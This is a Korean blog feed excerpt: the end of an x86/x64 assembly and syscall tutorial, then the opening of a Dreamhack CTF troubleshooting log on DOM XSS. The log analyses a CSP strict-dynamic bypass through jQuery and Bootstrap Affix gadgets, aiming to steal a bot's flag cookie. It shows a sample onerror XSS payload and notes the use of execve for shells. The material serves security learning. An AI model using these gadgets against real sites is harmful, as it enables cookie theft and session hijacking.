&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;③ 후조건 검사 (C의 do-while) &amp;mdash; 실행 후 검사&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;mipsasm&quot;&gt;&lt;code&gt;do_loop:
    ; 반복 코드 먼저 실행
    cmp rax, 10
    jl do_loop       ; 조건 만족하면 다시
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9. 스택 명령어&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;스택이란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LIFO (Last In, First Out, 후입선출)&lt;/b&gt; 자료구조. 책 쌓기처럼 맨 위에만 넣고 뺄 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스택은 거꾸로 자란다&lt;/b&gt;: 값을 넣으면 주소가 &lt;b&gt;낮아지고&lt;/b&gt;, 빼면 주소가 &lt;b&gt;높아진다&lt;/b&gt;. (x64는 8바이트 단위) &lt;b&gt;rsp&lt;/b&gt;가 항상 스택 꼭대기를 가리킨다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;push &amp;mdash; 값 넣기&lt;/h3&gt;
&lt;pre class=&quot;abnf&quot;&gt;&lt;code&gt;push val
; 내부 동작:
;   rsp -= 8      (꼭대기 8 내림)
;   [rsp] = val   (그 자리에 저장)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;push 0x31337 실행 시 rsp: 0x...c400 &amp;rarr; 0x...c3f8 (8 감소), 새 위치에 값 저장.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;pop &amp;mdash; 값 빼기&lt;/h3&gt;
&lt;pre class=&quot;abnf&quot;&gt;&lt;code&gt;pop reg
; 내부 동작:
;   reg = [rsp]   (꼭대기 값 복사)
;   rsp += 8      (꼭대기 8 올림)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pop rax 실행 시 꼭대기 값이 rax로, rsp: 0x...c3f8 &amp;rarr; 0x...c400 (8 증가).&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;10. 함수와 스택 프레임&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;함수 기본 개념&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;호출자(Caller)&lt;/b&gt;: 함수를 부르는 쪽&lt;/li&gt;
&lt;li&gt;&lt;b&gt;호출된 함수(Callee)&lt;/b&gt;: 불려나가는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리턴 주소(Return Address)&lt;/b&gt;: 함수가 끝나고 돌아갈 주소 &amp;rarr; &lt;b&gt;스택에 저장됨&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;call &amp;mdash; 함수 호출&lt;/h3&gt;
&lt;pre class=&quot;mipsasm&quot;&gt;&lt;code&gt;call addr
; 내부 동작:
;   push return_address   (call 다음 명령 주소를 스택에 저장)
;   jmp addr              (함수로 점프)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 시: 리턴 주소가 스택에 push되고, rip가 함수 주소로 변경.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해킹 핵심&lt;/b&gt;: 스택에 저장된 이 리턴 주소를 조작하면 함수 종료 시 실행 흐름을 탈취할 수 있다. &amp;rarr; &lt;b&gt;스택 버퍼 오버플로우&lt;/b&gt;의 원리.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;스택 프레임 (Stack Frame)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;함수 하나가 지역 변수/임시값을 저장하려고 스택에 확보한 전용 구역. &lt;b&gt;rsp&lt;/b&gt;(꼭대기)와 &lt;b&gt;rbp&lt;/b&gt;(바닥) 사이의 공간.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;함수 프롤로그 &amp;mdash; 프레임 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;perl&quot;&gt;&lt;code&gt;push rbp        ; ① 이전 함수의 rbp(바닥) 저장
mov rbp, rsp    ; ② 현재 꼭대기를 새 바닥으로 설정
sub rsp, 0x30   ; ③ 지역 변수 공간 확보
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;leave &amp;mdash; 스택 프레임 정리&amp;nbsp;&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;leave
; 내부 동작 (프롤로그의 정반대):
;   mov rsp, rbp   (꼭대기를 바닥으로 되돌림 = 지역변수 버림)
;   pop rbp        (이전 함수의 바닥 복원)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ret &amp;mdash; 함수 반환&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;ret
; 내부 동작:
;   pop rip   (스택의 리턴 주소를 rip에 넣음 &amp;rarr; 원래 자리로 복귀)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;call &amp;harr; ret 대칭 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;call (부를 때) ret (돌아올 때)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;리턴 주소&lt;/td&gt;
&lt;td&gt;스택에 &lt;b&gt;push&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;스택에서 &lt;b&gt;pop&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rip&lt;/td&gt;
&lt;td&gt;함수 주소로 변경&lt;/td&gt;
&lt;td&gt;리턴 주소로 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rsp&lt;/td&gt;
&lt;td&gt;8 감소&lt;/td&gt;
&lt;td&gt;8 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;11. 호출 규약&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;호출 규약(Calling Convention)&lt;/b&gt; = 함수에 인자를 전달하는 약속. x86과 x64가 다르다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;x86 (cdecl) &amp;mdash; 인자를 스택으로 전달&lt;/h3&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;; 함수 선언
add:
    push ebp
    mov ebp, esp
    mov eax, [ebp + 8]   ; 첫 번째 인자 (스택에서)
    add eax, [ebp + 12]  ; 두 번째 인자
    leave
    ret

; 함수 호출
_start:
    push dword 20    ; 두 번째 인자
    push dword 10    ; 첫 번째 인자
    call add
    add esp, 8       ; 호출자가 스택 정리
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;x64 (System V AMD64 ABI) &amp;mdash; 인자를 레지스터로 전달&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정수 인자 순서: &lt;b&gt;rdi &amp;rarr; rsi &amp;rarr; rdx &amp;rarr; rcx &amp;rarr; r8 &amp;rarr; r9&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;; 함수 선언
add:
    push rbp
    mov rbp, rsp
    mov rax, rdi     ; 첫 번째 인자
    add rax, rsi     ; 두 번째 인자
    pop rbp
    ret

; 함수 호출
_start:
    mov rdi, 10      ; 첫 번째 인자
    mov rsi, 20      ; 두 번째 인자
    call add         ; rax = 30
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;x86 (cdecl) x64 (System V)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;인자 전달&lt;/td&gt;
&lt;td&gt;스택에 push&lt;/td&gt;
&lt;td&gt;레지스터 (rdi, rsi, rdx, rcx, r8, r9)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인자 접근&lt;/td&gt;
&lt;td&gt;[ebp+8], [ebp+12]&lt;/td&gt;
&lt;td&gt;rdi, rsi 바로 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스택 정리&lt;/td&gt;
&lt;td&gt;호출자가 직접&lt;/td&gt;
&lt;td&gt;필요 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;반환값&lt;/td&gt;
&lt;td&gt;eax&lt;/td&gt;
&lt;td&gt;rax&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버싱에서 이 규약을 알아야 '함수가 인자를 몇 개, 무엇을 받는지' 읽어낼 수 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;12. 시스템 콜&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;유저 모드 vs 커널 모드&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;커널 모드&lt;/b&gt;: 모든 권한. 메모리 전체 접근, 하드웨어 직접 제어. 운영체제 커널이 실행.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;유저 모드&lt;/b&gt;: 제한된 권한. 일반 프로그램이 실행. 접근 메모리&amp;middot;권한 제한적.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위험한 작업을 커널만 하게 막아, 악성 프로그램이 시스템 전체를 망가뜨리는 것을 방지.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시스템 콜이란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유저 프로그램이 커널에게 &quot;이 작업 대신 해주세요&quot;라고 요청하는 창구. 파일 열기, 화면 출력, 네트워크 등 하드웨어 관련 작업에 필요. C의 read(), write() 등도 내부적으로 시스템 콜을 호출한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사용법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;x86 (int 0x80)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템 콜 번호 &amp;rarr; eax&lt;/li&gt;
&lt;li&gt;인자 순서 &amp;rarr; ebx &amp;rarr; ecx &amp;rarr; edx &amp;rarr; esi &amp;rarr; edi &amp;rarr; ebp&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;_start:
    mov eax, 5         ; open의 번호
    mov ebx, filename  ; 파일 이름
    mov ecx, 0         ; O_RDONLY
    int 0x80
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;x64 (syscall)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템 콜 번호 &amp;rarr; rax&lt;/li&gt;
&lt;li&gt;인자 순서 &amp;rarr; rdi &amp;rarr; rsi &amp;rarr; rdx &amp;rarr; r10 &amp;rarr; r8 &amp;rarr; r9&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;_start:
    mov rax, 2          ; open의 번호
    lea rdi, [filename] ; 파일 이름
    mov rsi, 0          ; O_RDONLY
    xor rdx, rdx        ; 0
    syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;x64 시스템 콜 인자 순서는 함수 호출 규약과 거의 같으나, &lt;b&gt;네 번째 인자가 rcx가 아니라 r10&lt;/b&gt;이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;write 예시 &amp;mdash; &quot;Hello World&quot; 출력&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;; rax=1 (write), rdi=1 (stdout), rsi=문자열주소, rdx=길이
; write(0x1, 0x401000, 0xb) &amp;rarr; 화면에 &quot;Hello World&quot; 출력
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;자주 쓰는 x64 시스템 콜&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 콜 rax arg0 (rdi) arg1 (rsi) arg2 (rdx)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;read&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x00&lt;/td&gt;
&lt;td&gt;fd&lt;/td&gt;
&lt;td&gt;버퍼 주소&lt;/td&gt;
&lt;td&gt;크기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;write&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x01&lt;/td&gt;
&lt;td&gt;fd&lt;/td&gt;
&lt;td&gt;버퍼 주소&lt;/td&gt;
&lt;td&gt;크기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;open&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x02&lt;/td&gt;
&lt;td&gt;파일이름&lt;/td&gt;
&lt;td&gt;플래그&lt;/td&gt;
&lt;td&gt;모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;close&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x03&lt;/td&gt;
&lt;td&gt;fd&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;mprotect&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x0a&lt;/td&gt;
&lt;td&gt;시작 주소&lt;/td&gt;
&lt;td&gt;길이&lt;/td&gt;
&lt;td&gt;권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;connect&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x2a&lt;/td&gt;
&lt;td&gt;소켓&lt;/td&gt;
&lt;td&gt;주소 구조체&lt;/td&gt;
&lt;td&gt;주소 길이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;execve&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0x3b&lt;/td&gt;
&lt;td&gt;파일이름&lt;/td&gt;
&lt;td&gt;인자 배열&lt;/td&gt;
&lt;td&gt;환경변수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;execve(0x3b)&lt;/b&gt;: /bin/sh 실행으로 셸을 따내는 데 자주 쓰임. &lt;b&gt;mprotect(0xa)&lt;/b&gt;: 메모리 권한 변경. .text 쓰기 권한 우회 등에 사용.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/25</guid>
      <comments>https://gahyun0123.tistory.com/25#entry25comment</comments>
      <pubDate>Thu, 16 Jul 2026 01:44:04 +0900</pubDate>
    </item>
    <item>
      <title>DOM XSS 트러블슈팅</title>
      <link>https://gahyun0123.tistory.com/24</link>
      <description>&lt;h1&gt;[Dreamhack] DOM XSS with CSP strict-dynamic &amp;mdash; 트러블슈팅 기록&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jQuery + Bootstrap gadget을 이용한 CSP strict-dynamic 우회 문제. 이 글은 &lt;b&gt;아직 flag를 획득하지 못한 상태의 트러블슈팅 기록&lt;/b&gt;이다. 각 시도가 왜 실패했는지, 어떤 오해가 있었는지를 중심으로 정리한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 배경&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;innerHTML sink에 location.hash가 필터 없이 들어가는 전형적인 DOM XSS다. 다만 CSP가 걸려 있어 단순 페이로드로는 실행되지 않고, 페이지에 로드된 &lt;b&gt;nonce 스크립트(jQuery 1.12.4, Bootstrap 3.3.2)를 gadget으로 이용&lt;/b&gt;해 strict-dynamic을 우회하는 방법을 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목표는 봇(관리자)이 가진 flag 쿠키를 탈취하는 것이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 코드 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1 취약한 sink (vuln.html)&lt;/h3&gt;
&lt;pre class=&quot;django&quot;&gt;&lt;code&gt;&amp;lt;script nonce={{ nonce }}&amp;gt;
  window.addEventListener(&quot;load&quot;, function() {
    var name_elem = document.getElementById(&quot;name&quot;);
    name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
  });
&amp;lt;/script&amp;gt;
{{ param | safe }}
&amp;lt;pre id=&quot;name&quot;&amp;gt;&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;location.hash.slice(1)(source) &amp;rarr; innerHTML(sink), &lt;b&gt;필터 없음&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;{{ param | safe }} : param은 &lt;b&gt;서버사이드에서 이스케이프 없이 렌더링&lt;/b&gt;됨 (HTML 주입 가능)&lt;/li&gt;
&lt;li&gt;삽입은 window.load 이벤트 콜백 안에서 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2 CSP&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1355&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAgAtQ/dJMcaf1xvZ0/MpYlhKERgzjsJZkhasGJb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAgAtQ/dJMcaf1xvZ0/MpYlhKERgzjsJZkhasGJb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAgAtQ/dJMcaf1xvZ0/MpYlhKERgzjsJZkhasGJb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAgAtQ%2FdJMcaf1xvZ0%2FMpYlhKERgzjsJZkhasGJb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1355&quot; height=&quot;408&quot; data-origin-width=&quot;1355&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 포인트:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script-src에 &lt;b&gt;unsafe-inline 없음&lt;/b&gt; &amp;rarr; 인라인 이벤트 핸들러(onerror, onclick 등) &lt;b&gt;차단&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;img-src &lt;a href=&quot;https://dreamhack.io&quot;&gt;https://dreamhack.io&lt;/a&gt; &amp;rarr; 이미지는 dreamhack.io에서만 로드 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;nonce + strict-dynamic&lt;/b&gt; &amp;rarr; nonce를 가진 스크립트와, 그 스크립트가 동적으로 생성한 스크립트만 실행. 'self'&amp;middot;호스트 화이트리스트는 script에 대해 무시됨&lt;/li&gt;
&lt;li&gt;nonce는 os.urandom(16).hex()로 &lt;b&gt;매 응답마다 재생성&lt;/b&gt; &amp;rarr; 예측 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.3 봇 동작 (app.py)&lt;/h3&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;def check_xss(param, name, cookie):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}&quot;
    return read_url(url, cookie)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;param은 urllib.parse.quote()로 인코딩, &lt;b&gt;name(hash 부분)은 raw로 URL에 삽입&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;봇은 flag 쿠키를 세팅한 뒤 해당 URL을 방문, 3초 대기 후 종료 (implicitly_wait(3), set_page_load_timeout(3))&lt;/li&gt;
&lt;li&gt;&lt;b&gt;쿠키 도메인은 127.0.0.1&lt;/b&gt; &amp;rarr; 봇 내부에서만 접근되며, 봇이 방문하는 주소도 127.0.0.1:8000&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.4 데이터 저장소 (/memo)&lt;/h3&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, &quot;&quot;)
    memo_text += text + &quot;\n&quot;
    return render_template(&quot;memo.html&quot;, memo=memo_text, nonce=nonce)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GET /memo?memo=값 &amp;rarr; 서버 전역 변수에 append, 이후 /memo 방문 시 누적 출력&lt;/li&gt;
&lt;li&gt;봇 쿠키 도메인이 127.0.0.1이고 봇도 127.0.0.1:8000을 방문하므로, &lt;b&gt;내부 /memo를 exfiltration 목적지로 사용&lt;/b&gt; (봇이 쿠키를 /memo에 저장 &amp;rarr; 공격자가 /memo 방문해 확인)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. gadget 후보 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1 jQuery $()의 HTML 파싱 경로&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jquery-1.12.4의 n.fn.init:&lt;/p&gt;
&lt;pre class=&quot;leaf&quot;&gt;&lt;code&gt;B = /^(?:\s*(&amp;lt;[\w\W]+&amp;gt;)[^&amp;gt;]*|#([\w-]*))$/
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$(문자열)이 &amp;lt;...&amp;gt; 형태면 n.parseHTML로 HTML 파싱 &amp;rarr; 내부에 &amp;lt;script&amp;gt;가 있으면 domManip &amp;rarr; n.globalEval로 &lt;b&gt;실행&lt;/b&gt;. jQuery가 nonce 신뢰 스크립트이므로 이 파생 실행은 strict-dynamic이 허용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;결론: 우리가 통제하는 문자열이 $()에 들어가고, 그 안에 &amp;lt;script&amp;gt;가 있으면 실행 가능.&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2 Bootstrap gadget 지점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;window.load 시 자동 실행되는 지점 3곳을 확인:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플러그인 라인 우리 입력이 $(selector)에 들어가는가&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Carousel (data-ride=&quot;carousel&quot;)&lt;/td&gt;
&lt;td&gt;520&lt;/td&gt;
&lt;td&gt;고정 selector만 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ScrollSpy (data-spy=&quot;scroll&quot;)&lt;/td&gt;
&lt;td&gt;1982&lt;/td&gt;
&lt;td&gt;&amp;nbsp;selector = (target || '') + ' .nav li &amp;gt; a'&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Affix (data-spy=&quot;affix&quot;)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;2292&lt;/td&gt;
&lt;td&gt;&amp;nbsp;$(this.options.target) 직접&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Affix 생성자 (line 2160):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;var Affix = function (element, options) {
    this.options = $.extend({}, Affix.DEFAULTS, options)
    this.$target = $(this.options.target)   // &amp;larr; data-target 값이 그대로 $()에
        .on('scroll...', ...)
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Affix data-api (line 2292):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;arcade&quot;&gt;&lt;code&gt;$(window).on('load', function () {
    $('[data-spy=&quot;affix&quot;]').each(function () {
        var $spy = $(this)
        var data = $spy.data()          // data-target &amp;rarr; data.target
        ...
        Plugin.call($spy, data)         // new Affix(el, data)
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; data-spy=&quot;affix&quot; 요소를 심고 data-target에 페이로드를 넣으면, &lt;b&gt;클릭 없이 window.load 시 자동으로&lt;/b&gt; $(data-target값)이 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Collapse gadget (getParent, line 666)&lt;/b&gt; 도 존재:&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;Collapse.prototype.getParent = function () {
    return $(this.options.parent)
        .find('[data-toggle=&quot;collapse&quot;][data-parent=&quot;' + this.options.parent + '&quot;]')
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 Collapse의 data-api는 &lt;b&gt;클릭(click.bs.collapse.data-api) 기반&lt;/b&gt;이라 봇 환경에서 자동 트리거가 어렵다. &amp;rarr; Affix 쪽이 유력.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 트러블슈팅&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;i&gt; 외부서버(webhook.site)를 이용하는 방법도 사용했으나 이 부분은 트러블슈팅에 포함하지 않았다. &lt;/i&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시도 1 &amp;mdash; &amp;lt;img src=x onerror=alert(1)&amp;gt; (인라인 핸들러)&lt;/h3&gt;
